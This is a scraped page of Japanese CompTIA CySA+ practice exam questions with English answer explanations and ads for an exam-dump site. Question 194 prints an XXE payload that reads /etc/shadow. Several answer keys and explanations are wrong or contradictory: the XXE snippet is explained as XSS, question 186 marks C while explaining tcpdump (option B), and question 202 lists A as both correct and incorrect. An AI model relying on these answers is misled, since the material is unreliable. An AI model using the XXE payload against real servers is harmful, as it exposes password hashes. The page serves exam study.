Improving employee training and awareness is the best option to address the issue of sensitive reports being disclosed via file sharing services. By educating employees about the risks of unapproved file sharing, the security protocols to follow, and the proper channels to use for sharing company information, an organization can significantly reduce the risk of sensitive data being accidentally or intentionally shared on insecure platforms. This human-centric approach addresses the root cause of the problem. Options A, C, and D are security controls that do not directly address the behavior of sharing sensitive files on unauthorized services.

質問: 179

セキュリティアナリストが、インフラストラクチャチームが新しいパッチについてより迅速に情報を受け取れるようにするサーバーパッチ管理ポリシーを作成しています。脆弱性を迅速に修復するために、インフラストラクチャチームが最も必要とする可能性が高いのは次のうちどれですか？(2つ選択してください)。

- A. ホスト名
- B. KPIが欠落しています
- C. CVEの詳細
- D. POC の利用可能性
- E. IoCs
- F. npm識別子

正解: ([正解を表示します](#))

CVE details and IoCs are information that would most likely be required by the infrastructure team so that vulnerabilities can be remediated quickly. CVE details provide the description, severity, impact, and solution of the vulnerabilities that affect the servers. IoCs are indicators of compromise that help identify and respond to potential threats or attacks on the servers. References: Server and Workstation Patch Management Policy, Section: Policy; Patch Management Policy: Why You Need One in 2024, Section: What is a patch management policy?

質問: 180

ある組織の最高経営責任者は最近、パッチがリリースされてから約 45 日後に業界で新たな攻撃の悪用が発生していると聞きました。この組織を守るのに最も適しているのは次のうちどれですか？

- A. 平均修復時間は 30 日です。
- B. 平均検出期間は 45 日
- C. 平均応答時間は 15 日です
- D. サードパーティアプリケーションのテスト

正解: ([正解を表示します](#))

A mean time to remediate (MTTR) is a metric that measures how long it takes to fix a vulnerability after it is discovered. A MTTR of 30 days would best protect the organization from the new attacks that are exploited

45 days after a patch is released, as it would ensure that the vulnerabilities are fixed before they are exploited

質問: 181

セキュリティ チームが異なるベンダー プラットフォーム間でアクションを自動化したい場合、SOAR で使用するのに最も適切なのは次のどれですか。

- A. STIX/タクシー
- B. API
- C. データの拡充
- D. 脅威フィード

正解: ([正解を表示します](#))

APIs (Application Programming Interfaces) enable integration and automation across different vendor platforms within a SOAR (Security Orchestration, Automation, and Response) solution. They allow security tools to communicate and execute automated actions, making them essential for orchestrating responses across diverse systems and platforms. While STIX/TAXII provides standards for threat information sharing, and data enrichment enhances context, APIs are the primary means of enabling cross-platform automation, as recommended in CompTIA CySA+ materials on SOAR operations.

有効的な**CS0-003J**問題集はJPNTest.com提供され、**CS0-003J**試験に合格することに役に立ちます！JPNTest.comは今最新**CS0-003J**試験問題集を提供します。JPNTest.com CS0-003J試験問題集はもう更新されました。ここで**CS0-003J**問題集のテストエンジンを手に入れます。最新版のアクセス、<https://www.jpntest.com/shiken/CS0-003J-mondaishu> **510**問、**30%ディスカウント**、特別な割引コード: **JPNshiken**」

質問: 182

情報セキュリティ プログラムを成功させるための重要な要素を最もよく表しているものは次のうちどれですか？

- A. ビジネスへの影響分析、資産と変更の管理、およびセキュリティ コミュニケーション プラン
- B. セキュリティポリシーの実施、役割と責任の割り当て、情報資産の分類
- C. 災害復旧と事業継続計画、およびアクセス制御要件と人事ポリシーの定義
- D. 上級管理者の組織構造、メッセージ配布基準、およびセキュリティ管理システムの運用手順

正解: ([正解を表示します](#))

A successful information security program consists of several key elements that align with the organization's goals and objectives, and address the risks and threats to its information assets.

Security policy implementation: This is the process of developing, documenting, and enforcing the rules and standards that govern the security of the organization's information assets.

Security policies define the scope, objectives, roles, and responsibilities of the security program, as well as the acceptable use, access control, incident response, and compliance requirements for the information assets.

Assignment of roles and responsibilities: This is the process of identifying and assigning the specific tasks and duties related to the security program to the appropriate individuals or groups within the organization. Roles and responsibilities define who is accountable, responsible, consulted, and informed for each security activity, such as risk assessment, vulnerability management, threat detection, incident response, auditing, and reporting.

Information asset classification: This is the process of categorizing the information assets based on their value, sensitivity, and criticality to the organization. Information asset classification helps to determine the appropriate level of protection and controls for each asset, as well as the impact and likelihood of a security breach or loss. Information asset classification also facilitates the prioritization of security resources and efforts based on the risk level of each asset.

質問: 183

サイバーセキュリティアナリストは、リンクや添付ファイルを含むメールがメールサーバーに到達する前にテストされるよう保証するソリューションを推奨しています。アナリストが最も推奨する可能性のあるソリューションは次のどれですか？

A. サンドボックス

B. MFA

C. DKIM

D. 脆弱性スキャン

正解: ([正解を表示します](#))

To "test" links/attachments before they reach the mail server, the organization needs a control that can execute or detonate suspicious content in a controlled environment and observe behavior. That is exactly what sandboxing does.

Secbay Press defines sandboxing as executing suspicious files/applications in a virtualized environment to observe behavior (i.e., safe testing/detonation):

Exact extract (Secbay Press): "Joe Sandbox is a malware analysis platform that utilizes virtualized environments (sandboxing) to execute and observe the behavior of suspicious files or applications." The official CS0-003 objectives list Sandboxing (Joe Sandbox / Cuckoo Sandbox) under tools used to determine malicious activity, aligning with the exam's expectation that sandboxing is used to analyze suspicious content.

Why the other choices are not correct:

* B (MFA): helps protect accounts, but doesn't "test" attachments/links.

* C (DKIM): authenticates sender domain and message integrity, but doesn't detonate or test payloads.

* D (Vulnerability scan): targets hosts/services/configurations, not real-time detonation of email attachments/links.

References (CompTIA CySA+ CS0-003 documents / study guides used):

* Secbay Press, CompTIA CySA+ Exam Prep Guide (CS0-003): sandboxing executes/observes suspicious files in a virtualized environment

* CompTIA CySA+ CS0-003 Exam Objectives v4.0: includes sandboxing tools (Joe Sandbox, Cuckoo Sandbox)

* Chapple/Seidl, CompTIA CySA+ Study Guide (CS0-003): DKIM is for verifying sender/domain integrity, not payload testing

質問: 184

攻撃者は、技術フォーラムから収集したオープンソースの情報をういて、悪意のあるダウンローダーをコンパイルおよびテストし、被害組織のエンドポイントセキュリティ対策によって検出されないことを確認する。

サイバーキルチェーンの以下の段階のうち、脅威アクターの行動に最も合致するのはどれですか？

A. 配達

B. 偵察

- C. 悪用
- D. 兵器化

正解: ([正解を表示します](#))

Weaponization is the stage of the Cyber Kill Chain where the threat actor creates or modifies a malicious tool to use against a target. In this case, the threat actor compiles and tests a malicious downloader, which is a type of weaponized malware. References: Cybersecurity 101, The Cyber Kill Chain: The Seven Steps of a Cyberattack

質問: 185

会社のウイルス対策ソフトによって適切に阻止されなかった新たなランサムウェア攻撃の影響を軽減するのに最も適しているのは次のうちどれですか？

- A. ファイアウォールをインストールします。
- B. 脆弱性管理を実装します。
- C. サンドボックスをデプロイします。
- D. アプリケーションのブロックリストを更新します。

正解: ([正解を表示します](#))

Sandboxing is a technique that isolates potentially malicious programs or files in a controlled environment, preventing them from affecting the rest of the system. It can help mitigate the effects of a new ransomware attack by preventing it from encrypting or deleting important data or spreading to other devices. References:

CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 5, page 202; CompTIA CySA+ CS0-003 Certification Study Guide, Chapter 5, page 210.

質問: 186

セキュリティアナリストは、ゲートウェイからパケットキャプチャを収集することで、疑わしいIPアドレスへの接続を検出しようとしています。セキュリティアナリストは、次のうちどのコマンドを実行することを検討すべきでしょうか？

- A. `grep [IPアドレス] packets.pcapB cat packets.pcap | grep [IPアドレス]`
- B. `tcpdump -n -r packets.pcap host [IPアドレス]`
- C. `strings packets.pcap | grep [IP Address]`

正解: C ([コメントを發表する](#))

tcpdump is a command-line tool that can capture and analyze network packets from a given interface or file.

The -n option prevents tcpdump from resolving hostnames, which can speed up the analysis. The -r option reads packets from a file, in this case packets.pcap. The host [IP address] filter specifies that tcpdump should only display packets that have the given IP address as either the source or the destination. This command can help the security analyst detect connections to a suspicious IP address by collecting the packet captures from the gateway. Official References:

* <https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives>

* <https://www.techtarget.com/searchsecurity/quiz/Sample-CompTIA-CySA-test-questions-with-answers>

* <https://www.reddit.com/r/CompTIA/comments/tmxx84>

/passed_cysa_heres_my_experience_and_how_i_studied/

質問: 187

サイバーセキュリティ チームは最近、オペレーティング システムに影響を与える多数の脆弱性イベントを目撃しました。チームは、ホストベースの IPS、ファイアウォール、および 2 要素認証を実装することを決定しました。次のうちどれ

これはおそらく説明できますか？

- A. システムの強化
- B. ハイブリッド ネットワーク アーキテクチャ

C. 継続認可

D. セキュアアクセスサービスエッジ

正解: ([正解を表示します](#))

The correct answer is A. System hardening.

System hardening is the process of securing a system by reducing its attack surface, applying patches and updates, configuring security settings, and implementing security controls. System hardening can help prevent or mitigate vulnerability events that may affect operating systems. Host-based IPS, firewalls, and two-factor authentication are examples of security controls that can be applied to harden a system¹.

The other options are not the best descriptions of the scenario. A hybrid network architecture (B) is a network design that combines on-premises and cloud-based resources, which may or may not involve system hardening. Continuous authorization is a security approach that monitors and validates the security posture of a system on an ongoing basis, which is different from system hardening. Secure access service edge (D) is a network architecture that delivers cloud-based security services to remote users and devices, which is also different from system hardening.

質問: 188

SOC は、従業員の資格情報がダーク Web で見つかったことを示す脅威インテリジェンス通知を受け取りました。ユーザーの Web アクティビティとログイン アクティビティは、悪意のある接続または異常な接続、データのアップロード/ダウンロード、エクスプロイトについて調査されました。コントロールを確認したところ、多要素認証が有効になっていることが確認されました。ビジネス ネットワークと資産への影響を軽減するには、次のどれを最初に実行する必要がありますか？

A. パスワードの強制リセットを実行します。

B. 侵害された認証情報をユーザーに通知します。

C. ユーザーのラップトップでアドホック AV スキャンを実行します。

D. ユーザーのアカウントに割り当てられた権限が最小限の権限を反映していることを確認してください。

E. 悪意のあるアクティビティの疑いがある場合の SOC アラートのしきい値を下げます。

正解: A ([コメントを发表する](#))

The first and most urgent step to mitigate the impact of compromised credentials on the dark web is to perform a forced password reset for the affected user. This will prevent the cybercriminals from using the stolen credentials to access the company's network and systems. Multifactor authentication is a good security measure, but it is not foolproof and can be bypassed by sophisticated attackers. Therefore, changing the password as soon as possible is the best practice to reduce the risk of a data breach or other cyber attack¹²³ References: 1: How to monitor the dark web for compromised employee credentials 2: How to prevent corporate credentials ending up on the dark web 3: Data Breach Prevention: Identifying Leaked Credentials on the Dark Web

質問: 189

ある組織が電子商取引アプリケーションのパイロット展開を実施しています。アプリケーションのソース コードは入手できません。アナリストはソフトウェアのセキュリティを評価するために、次のどの戦略を推奨すべきでしょうか。

A. 静的テスト

B. 脆弱性テスト

C. 動的テスト

D. 侵入テスト

正解: ([正解を表示します](#))

Penetration testing is the best strategy to evaluate the security of the software without the source code.

Penetration testing is a type of security testing that simulates real-world attacks on the software to identify and exploit its vulnerabilities. Penetration testing can be performed on the software as a black box, meaning that the tester does not need to have access to the source code or the internal structure of the software. Penetration testing can help the analyst to assess the security posture of the software, the potential impact of the vulnerabilities, and the effectiveness of the existing security controls¹². Static testing, vulnerability testing, and dynamic testing are

other types of security testing, but they usually require access to the source code or the internal structure of the software. Static testing is the analysis of the software code or design without executing it. Vulnerability testing is the identification and evaluation of the software weaknesses or flaws.

Dynamic testing is the analysis of the software code or design while executing it³⁴⁵. References: Penetration Testing - OWASP, What is a Penetration Test and How Does It Work?, Static Code Analysis | OWASP Foundation, Vulnerability Scanning Best Practices, Dynamic Testing - OWASP

質問: 190

侵入分析のダイヤモンド モデルの利点は次のどれですか？

- A. 分析ピボットを提供し、知識のギャップを特定します。
- B. 発見された脆弱性が将来再び悪用されないことを保証します。
- C. 法廷で利用できる簡潔な証拠を提供します
- D. 攻撃イベントのプロアクティブな検出と分析を可能にします

正解: ([正解を表示します](#))

The Diamond Model of Intrusion Analysis is a framework that helps analysts to understand the relationships between the adversary, the victim, the infrastructure, and the capability involved in an attack. It also enables analytical pivoting, which is the process of moving from one piece of information to another related one, and identifies knowledge gaps that need further investigation.

質問: 191

セキュリティ チームは、サイバー攻撃が発生した場合にチームがどの程度準備ができているかを示す必要があります。業務に影響を与えずに現実世界のインシデントを最もよく示すのは次のどれですか？

- A. 教訓をまとめたドキュメントを確認し、プレイブックを作成します。
- B. 社内のインシデント対応チームのメンバー全員を集めてシミュレーションを実行します。
- C. 既知のマルウェアを展開し、修復プロセスを文書化します。
- D. いくつかのアプリケーションの DR サイトへのシステム復旧をスケジュールします。

正解: B ([コメントを发表する](#))

Asimulation(such as atabletop exercise or full-scale IR drill) is the best way to demonstrate real-world readiness without affecting operations.

* Option A (Reviewing lessons-learned and playbooks)is valuable but does not actively test readiness.

* Option C (Deploying malware)is highly risky and unethical in a production environment.

* Option D (Disaster recovery site testing)focuses on DR, not security incident readiness.

Thus,B is the best choice, as simulations effectivelytest incident response capabilities without operational disruption.

質問: 192

既知の脅威を所定の期間内に修復する必要があるプロセスを最もよく説明しているものは次のうちどれですか？

- A. SLA
- B. 覚書
- C. ベストエフォート型パッチ適用
- D. 組織ガバナンス

正解: ([正解を表示します](#))

An SLA (Service Level Agreement) is a contract or agreement between a service provider and a customer that defines the expected level of service, performance, quality, and availability of the service. An SLA also specifies the responsibilities, obligations, and penalties for both parties in case of non-compliance or breach of the agreement. An SLA can help organizations to ensure that their security services are delivered in a timely and effective manner, and that any security incidents or vulnerabilities are addressed and resolved within a specified time frame. An SLA can also help to establish clear communication, expectations, and accountability between the service provider and the customer¹² An MOU (Memorandum of Understanding) is a

document that expresses a mutual agreement or understanding between two or more parties on a common goal or objective. An MOU is not legally binding, but it can serve as a basis for future cooperation or collaboration. An MOU may not be suitable for requiring remediation of a known threat within a given time frame, as it does not have the same level of enforceability, specificity, or measurability as an SLA.

Best-effort patching is an informal and ad hoc approach to applying security patches or updates to systems or software. Best-effort patching does not follow any defined process, policy, or schedule, and relies on the availability and discretion of the system administrators or users. Best-effort patching may not be effective or efficient for requiring remediation of a known threat within a given time frame, as it does not guarantee that the patches are applied correctly, consistently, or promptly. Best-effort patching may also introduce new risks or vulnerabilities due to human error, compatibility issues, or lack of testing.

Organizational governance is the framework of rules, policies, procedures, and processes that guide and direct the activities and decisions of an organization. Organizational governance can help to establish the roles, responsibilities, and accountabilities of different stakeholders within the organization, as well as the goals, values, and principles that shape the organizational culture and behavior. Organizational governance can also help to ensure compliance with internal and external standards, regulations, and laws. Organizational governance may not be sufficient for requiring remediation of a known threat within a given time frame, as it does not specify the details or metrics of the service delivery or performance. Organizational governance may also vary depending on the size, structure, and nature of the organization.

質問: 193

ある組織が弁護士から法的保留要請を受け取りました。この要請は、係争中のベンダー契約に関連するメールに関するものです。セキュリティチームが要請への対応を確実にするために最初にとるべき手順は次のうちどれですか？

- A. 他のベンダーにリクエストを開示します。
- B. 関係部署に通知して、関連する可能性のある情報を保全してください。
- C. 弁護士の要請から始まる保管管理の連鎖を確立する。
- D. サーバー上のメールボックスをバックアップし、弁護士にコピーを提供してください。

正解: ([正解を表示します](#))

The correct answer is B because a legal hold requires the organization to preserve potentially relevant information. The first practical step is to notify the departments, custodians, IT staff, and records personnel who may control or possess relevant emails so they do not delete, alter, or overwrite them.

Exact supporting extract: the Secbay CySA+ guide defines legal hold as a process used to preserve relevant information associated with legal proceedings, investigations, or disputes. It states that once a legal hold is in effect, it is crucial to communicate it to relevant personnel who may have custody or control over the information, including IT staff, records management personnel, and employees with pertinent data.

The Sybex CySA+ Study Guide also states that legal holds require organizations to preserve all potentially relevant data and information related to pending or active litigation. It specifically notes that legal holds may involve data such as logs, email, or transactional information that would otherwise be destroyed under normal retention procedures.

Why the other options are incorrect:

A is incorrect because disclosing the request to unrelated vendors could create confidentiality and legal issues.

C is incorrect because chain of custody is important when evidence is collected and transferred, but the first legal-hold step is preservation notification.

D is incorrect because producing mailbox copies to the attorney is premature. The organization must first preserve the relevant data and follow legal/eDiscovery procedures.

質問: 194

セキュリティ アナリストは、Web アプリケーションの脆弱性スキャンで報告された特定の結果を検証して、それが誤検知ではないことを確認しています。セキュリティ アナリストは以下のスニペットを使用します。

```
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/shadow">]>
<userInfo>
<firstName>John</firstName>
<lastName>$ent</lastName>
</userInfo>
```

セキュリティ アナリストが検証している脆弱性の種類は次のうちどれですか？

- A. ディレクトリトラバーサル
- B. XSS
- C. XXE
- D. SSRF

正解: (正解を表示します)

XSS (cross-site scripting) is the vulnerability type that the security analyst is validating, as the snippet shows an attempt to inject a script tag into the web application. XSS is a web security vulnerability that allows an attacker to execute arbitrary JavaScript code in the browser of another user who visits the vulnerable website.

XSS can be used to perform various malicious actions, such as stealing cookies, session hijacking, phishing, or defacing websites. The other vulnerability types are not relevant to the snippet, as they involve different kinds of attacks. Directory traversal is an attack that allows an attacker to access files and directories that are outside of the web root folder. XXE (XML external entity) injection is an attack that allows an attacker to interfere with an application's processing of XML data, and potentially access files or systems. SSRF (server- side request forgery) is an attack that allows an attacker to induce the server-side application to make requests to an unintended location. Official References:

* <https://portswigger.net/web-security/xxe>

* <https://portswigger.net/web-security/ssrf>

* https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html

質問: 195

脆弱性管理チームは、毎週のスキャンで見つかったすべての脆弱性にパッチを適用することはできません。チームは、以下で説明するサードパーティのスコアリング システムを使用して、最も緊急性の高い脆弱性にパッチを適用します。

Metric	Description
Cobain	Exploitable by malware
Grohl	Externally facing
Novo	Exploit PoC available
Smeagol	Older than 2 years
Channing	Vulnerability research activity

さらに、脆弱性管理チームは、スメアとチャニングのメトリクスが他のメトリクスよりも重要ではないと考えているため、これらのメトリクスの優先順位は低くなります。上記のサードパーティのスコアリング システムを考慮すると、次の脆弱性のうちどれを最初にパッチする必要がありますか？

A. 大声で:

コバーン: はい

グロール: いいえ

ノボ: はい

スミア: はい
チャニング :いいえ
B. Tスピリット:
コバーン: はい
グロール: はい
ノボ: はい

スミア: いいえ
チャニング :いいえ
C. E名無し:
コバーン: はい
グロール: いいえ
ノボ: はい

スミア: いいえ
チャニング :いいえ
D. Pブリーチ:
コバーン: はい
グロール: いいえ
新規: いいえ
スミア: いいえ
チャニング :はい

正解: ([正解を表示します](#))

The vulnerability that should be patched first, given the above third-party scoring system, is:

TSpirit: Cobain: Yes Grohl: Yes Novo: Yes Smear: No Channing: No

This vulnerability has three out of five metrics marked as Yes, which indicates a high severity level. The metrics Cobain, Grohl, and Novo are more important than Smear and Channing, according to the vulnerability management team. Therefore, this vulnerability poses a greater risk than the other vulnerabilities and should be patched first.

質問: 196

セキュリティ アナリストが、組織の POS アプリケーションで中程度のリスクの項目を発見しました。組織は現在、変更凍結期間中であり、現時点ではリスクが修正するほど高くないと判断しました。このシナリオは、修復を阻害する次のどの要因を示していますか。

- A. サービスレベル契約
- B. ビジネスプロセスの中断
- C. 機能低下
- D. 独自システム

正解: ([正解を表示します](#))

Business process interruption is the inhibitor to remediation that this scenario illustrates. Business process interruption is when the remediation of a vulnerability or an incident requires the disruption or suspension of a critical or essential business process, such as the point-of-sale application. This can cause operational, financial, or reputational losses for the organization, and may outweigh the benefits of the remediation.

Therefore, the organization may decide to postpone or avoid the remediation until a more convenient time, such as a change freeze window, which is a period of time when no changes are allowed to the IT environment¹². Service-level agreement, degrading functionality, and proprietary system are other possible inhibitors to remediation, but they are not relevant to this scenario. Service-level agreement is when the remediation of a vulnerability or an incident violates or affects the contractual obligations or expectations of the service provider or the customer.

Degrading functionality is when the remediation of a vulnerability or an incident reduces or impairs the performance or usability of a system or an application. Proprietary system is when the remediation of a vulnerability or an incident involves a system or an application that is owned or controlled by a third party, and the organization has limited or no access or authority to modify it³.

References: Inhibitors to Remediation - SOC Ops Simplified, Remediation Inhibitors - CompTIA CySA+, Information security Vulnerability Management Report (Remediation...

有効的な**CS0-003J**問題集はJPNTTest.com提供され、**CS0-003J**試験に合格することに役に立ちます！JPNTTest.comは今最新**CS0-003J**試験問題集を提供します。JPNTTest.com CS0-003J試験問題集はもう更新されました。ここで**CS0-003J**問題集のテストエンジンを手に入れます。最新版のアクセス、<https://www.jpntest.com/shiken/CS0-003J-mondaishu> **510**問、**30%ディスカウント**、特別な割引コード: **JPNshiken**」

質問: **197**

セキュリティアナリストが、Webサーバーで受信した異常に多いリクエスト量を調査しています。以下のコマンドと出力に基づいています。

access_log - [21/May/2024 13:19:06] "GET /news HTTP/1.1" 404 -

access_log - [21/May/2024 13:19:06] " GET /1970 HTTP/1.1 " 404 -

access_log - [21/May/2024 13:19:06] " GET /dopey HTTP/1.1 " 404 -

...

アナリストが確認する活動を最も適切に表しているのは、次のうちどれですか？

A. SQLインジェクション

B. ディレクトリ総当たり攻撃

C. リモートコマンド実行

D. クロスサイトスクリプティング

正解: **B** ([コメントを发表する](#))

This log shows multiple 404 errors being triggered from requests to different directories or paths, which strongly suggests a directory brute-force attack. In this type of attack, an adversary uses automated tools to enumerate directory or file paths in an attempt to find hidden or misconfigured resources. The frequent 404

"Not Found" HTTP responses from a single IP address attempting to access different URL paths is the signature pattern for directory brute-forcing. This behavior is not consistent with XSS, SQLi, or RCE, which would involve payloads or specific encoded commands, not merely probing paths.

Reference:

Chapple & Seidl, CompTIA CySA+ Practice Tests (Sybex, 2023), Question 149, p. 297 Objective 1.2 of CySA+ CS0-003 Exam Objectives: Analyze indicators of malicious activity such as scans

/sweeps, unusual traffic spikes, activity on unexpected ports

質問: **198**

セキュリティアナリストが脆弱性スキャンを実施しました。以下の結果が判明しました。

Machine	IP	Environment	Criticality	Patch available (Yes/No)
Server1	10.5.14.120	Internal network	Medium	No
Server2	10.250.10.8	Perimeter network	Low	Yes
Server3	154.6.80.34	Perimeter network	High	No
Server4	10.5.10.154	Internal network	High	Yes
Server5	10.0.3.45	Database network	Critical	Yes
Server6	10.0.3.38	Database network	Medium	No

アナリストは、以下のどのマシンを最初に点検すべきでしょうか？(2つ選択してください。)

- A. Server1
- B. Server2
- C. server3
- D. Server4
- E. Server5
- F. Server 6

正解: C,E ([コメントを发表する](#))

To decide what to address first, CySA+ expects a risk-based prioritization approach, combining factors like:

- * Asset criticality/value (business impact)
- * Exposure/architecture (internet-facing vs. isolated/internal)
- * Patch availability / ability to remediate quickly
- * Exploitability / likelihood of exploitation

1) Server5 (Critical + Patch Yes) - prioritize immediately

Server5 sits in the database network, is marked Critical, and a patch is available. That combination makes it one of the highest priorities because you can rapidly reduce risk on an asset with the greatest business impact.

* Secbay explicitly states that prioritization should align to asset criticality and business impact, and also notes that patch availability accelerates remediation:Exact extract (Secbay Press):

"Prioritize vulnerabilities based on their severity, exploitability, and potential impact... Asset Criticality: Identify and prioritize vulnerabilities based on the criticality of the assets they affect..."

and "Patch Availability... Action: Prioritize vulnerabilities for which patches are readily available, as prompt remediation is possible."

* The All-in-One guide emphasizes asset value/criticality as a major driver of how fast you remediate:

Exact extract (All-in-One Exam Guide): "Asset value is likely one of the most important factors in determining how quickly you should remediate vulnerabilities..."

2) Server3 (Perimeter + High) - address immediately (mitigate now, patch later) Server3 is in the perimeter network and rated High, making it more exposed to attack paths than internal-only systems. Even though no patch is available, the analyst must still "address" it first via mitigation

/compensating controls (segmentation, firewalling, disabling vulnerable services, WAF where relevant, tighter ACLs, etc.) because perimeter exposure increases likelihood of exploitation.

* The All-in-One guide makes the architecture/exposure point very directly:Exact extract (All-in-One Exam Guide - Exam Tip): "The architecture of your infrastructure should be a factor..."

Internet-facing hosts with sensitive information will likely be your highest priority, while isolated systems... may be able to wait a bit longer for remediation."

* Secbay's prioritization guidance also highlights focusing on critical/high impact risks first and using risk-based prioritization.

Why not the others (briefly):

* Server4 (Internal, High, Patch Yes): This is a strong candidate, but when choosing only two, perimeter high exposure (Server3) plus critical database with patch (Server5) generally outranks an internal high system.

* Server2 (Perimeter, Low, Patch Yes): Exposed, but Low criticality.

* Server1 / Server6 (Medium, No patch): Lower criticality and no patch-typically handled after higher- risk items, or mitigated as feasible.

References (CompTIA CySA+ CS0-003 documents / study guides used):

* Mya Heath et al., CompTIA CySA+ All-in-One Exam Guide (CS0-003): infrastructure architecture affects remediation priority; internet-facing hosts are typically highest priority; asset value drives remediation urgency

* Secbay Press, CompTIA CySA+ Exam Prep Guide (CS0-003): vulnerability prioritization factors include asset criticality and patch availability; prioritize items with readily available patches for prompt remediation

質問: 199

販売アプリケーションの重大な脆弱性に対処するため、修正作業が行われました。この作業には5営業時間かかり、最終的に成功しました。しかし、変更諮問委員会は経営陣に対し、この作業によって相当な財務損失が発生したことを報告しました。この財務損失の理由を最も適切に説明しているのは次のうちどれですか？

A. 損失は、ITに依存する事業運営における通常のコストです。

B. 最高情報責任者は取締役会メンバーに通知しませんでした。

C. ITチームはパッチ適用前に侵入テストチームを雇うべきだった。

D. メンテナンス期間が適切に通知またはスケジュールされていませんでした。

正解: ([正解を表示します](#))

The correct answer is D because the remediation was successful technically, but it occurred during five business hours for a sales application. That means the company likely lost sales revenue because the application was unavailable or degraded during a business-critical period. The issue was not the patch itself; the issue was poor change scheduling and communication. Exact supporting extract: the CySA+ All-in-One guide defines a maintenance window as "a scheduled time the system is taken offline or out of use so that patches or configuration changes can be made." It also explains that emergency maintenance may require informing users that the resource is being taken offline, how long maintenance will take, and whether resource access will be affected.

The Sybex CySA+ Study Guide also supports this answer: "Changes have the potential to be disruptive to an organization," so the timing of changes must be "carefully coordinated." It adds that maintenance windows normally occur during evenings, weekends, or other periods when business activity is low.

The official CompTIA CS0-003 objectives place this under vulnerability management reporting and communication because they include action plans, patching, inhibitors to remediation, business process interruption, degrading functionality, and stakeholder identification and communication.

Why the other options are incorrect:

A is incorrect because this financial loss is not simply a normal unavoidable IT cost. It was caused by poor scheduling or communication around a business-critical sales application.

B is incorrect because the issue is not specifically that the CIO failed to notify the board. The scenario says the change advisory board informed leadership after the loss.

C is incorrect because a penetration test is not required before every patch or remediation activity. The issue was not whether the vulnerability existed; it was the business impact of the remediation timing.

D is correct because a properly planned and communicated maintenance window should reduce business impact by scheduling the work when the application is not heavily used.

質問: 200

最高情報セキュリティ責任者は、ゼロトラスト アプローチの一環として、攻撃対象領域のリスクと脅威を軽減するための新しいプログラムを指示しています。IT セキュリティ チームは、プログラムの優先順位を考える必要があります。一般的な攻撃フレームワークに基づいて、最も優先度が高いのは次のうちどれですか？

A. 管理者アカウントと特権アクセスアカウントを減らす

B. ネットワークベースの IDS を採用

C. インシデント対応の徹底

D. エンタープライズ アプリケーションへの SSO を有効にする

正解: A ([コメントを发表する](#))

The best priority based on common attack frameworks for a new program to reduce attack surface risks and threats as part of a zero trust approach is to reduce the administrator and privileged access accounts.

Administrator and privileged access accounts are accounts that have elevated permissions or capabilities to perform sensitive or critical tasks on systems or networks, such as installing software, changing configurations, accessing data, or granting access. Reducing the administrator and privileged access accounts can help minimize the attack surface, as it can limit the number of potential targets or entry points for attackers, as well as reduce the impact or damage of an attack if an account is compromised.

質問: 201

インターネットに公開されているウェブサーバーの脆弱性スキャンが先日完了しました。セキュリティアナリストが、スキャン結果から得られたベクター文字列をレビューしています。

脆弱性 1: CVSS: 3.0/AV:N/AC: L/PR: N/UI : N/S: U/C: H/I : L/A:L

脆弱性 2: CVSS: 3.0/AV: L/AC: H/PR:N/UI : N/S: U/C: L/I : L/A: H 脆弱性 3: CVSS: 3.0/AV:A/AC: H/PR: L/UI : R/S: U/C: L/I : H/A:L 脆弱性 4: CVSS: 3.0/AV: P/AC: L/PR: H/UI : N/S: U/C:

H/I:N/A:L 次の脆弱性のうち、最初にパッチを適用すべきものはどれですか？

- A. 脆弱性 2
- B. 脆弱性 3
- C. 脆弱性 1
- D. 脆弱性4

正解: ([正解を表示します](#))

質問: 202

MTTDがインシデント対応の報告とコミュニケーションにどのように影響するかを説明しているのは、次のうちどれですか？

- A. MTTDが短いほど、インシデントによる潜在的な影響が軽減されます。
- B. MTTDの改善により、リーダーシップチームは悪用される前に脅威を認識できるようになります。
- C. MTTDは、検出から応答までの許容最大時間を定義します。
- D. MTTDは規制遵守の一部であり、報告のための承認されたプロセスを概説しています。

正解: ([正解を表示します](#))

The correct answer is A because MTTD stands for Mean Time to Detect. It measures how long it takes an organization to identify that a security incident has occurred. A shorter MTTD means the organization detects incidents faster, which usually allows containment and response to begin sooner. Faster detection can reduce attacker dwell time, limit damage, and reduce the overall impact of the incident.

Exact supporting extract: the Secbay CySA+ guide defines MTTD as "the average duration between the occurrence of a security incident and its detection." It also states that MTTD represents the effectiveness of monitoring and detection capabilities, and that communicating MTTD gives stakeholders a quantitative measure of detection efficiency.

The same guide states that "Reducing MTTD is often a key objective in enhancing overall cybersecurity resilience," which directly supports the idea that a shorter MTTD helps reduce potential incident impact.

The official CompTIA CS0-003 objectives list Mean time to detect, Mean time to respond, Mean time to remediate, and alert volume under incident response reporting and communication metrics and KPIs.

Why the other options are incorrect:

A is correct because shorter detection time usually reduces the window of opportunity for attackers and lowers possible incident impact.

B is incorrect because improved MTTD does not guarantee leadership will know about threats before exploitation. MTTD measures detection after an incident or event begins.

C is incorrect because MTTD does not define the time between detection and response. That relates more closely to MTTR, mean time to respond.

D is incorrect because MTTD is a metric used in incident response reporting, but it is not itself a regulatory compliance process or an approved reporting procedure.

質問: 203

正確なインシデント対応レポートを確実に行うために最も重要な要素は次のうちどれですか？

- A. 明確に定義されたイベントのタイムライン
- B. 規制報告に関するガイドライン
- C. 影響を受けるシステムからのログ
- D. よく練られたエグゼクティブサマリー

正解: (正解を表示します)

A well-defined timeline of the events is the most important factor to ensure accurate incident response reporting, as it provides a clear and chronological account of what happened, when it happened, who was involved, and what actions were taken. A timeline helps to identify the root cause of the incident, the impact and scope of the damage, the effectiveness of the response, and the lessons learned for future improvement. A timeline also helps to communicate the incident to relevant stakeholders, such as management, legal, regulatory, or media entities. The other factors are also important for incident response reporting, but they are not as essential as a well-defined timeline. Official References:

<https://www.ibm.com/topics/incident-response>

<https://www.crowdstrike.com/cybersecurity-101/incident-response/incident-response-steps/>

質問: 204

セキュリティ アナリストは、分析するために悪意のあるバイナリ ファイルを受け取りました。分析を実行するのに最適な手法は次のうちどれですか？

- A. コード解析
- B. 静的解析
- C. リバースエンジニアリング
- D. ファジング

正解: C (コメントを發表する)

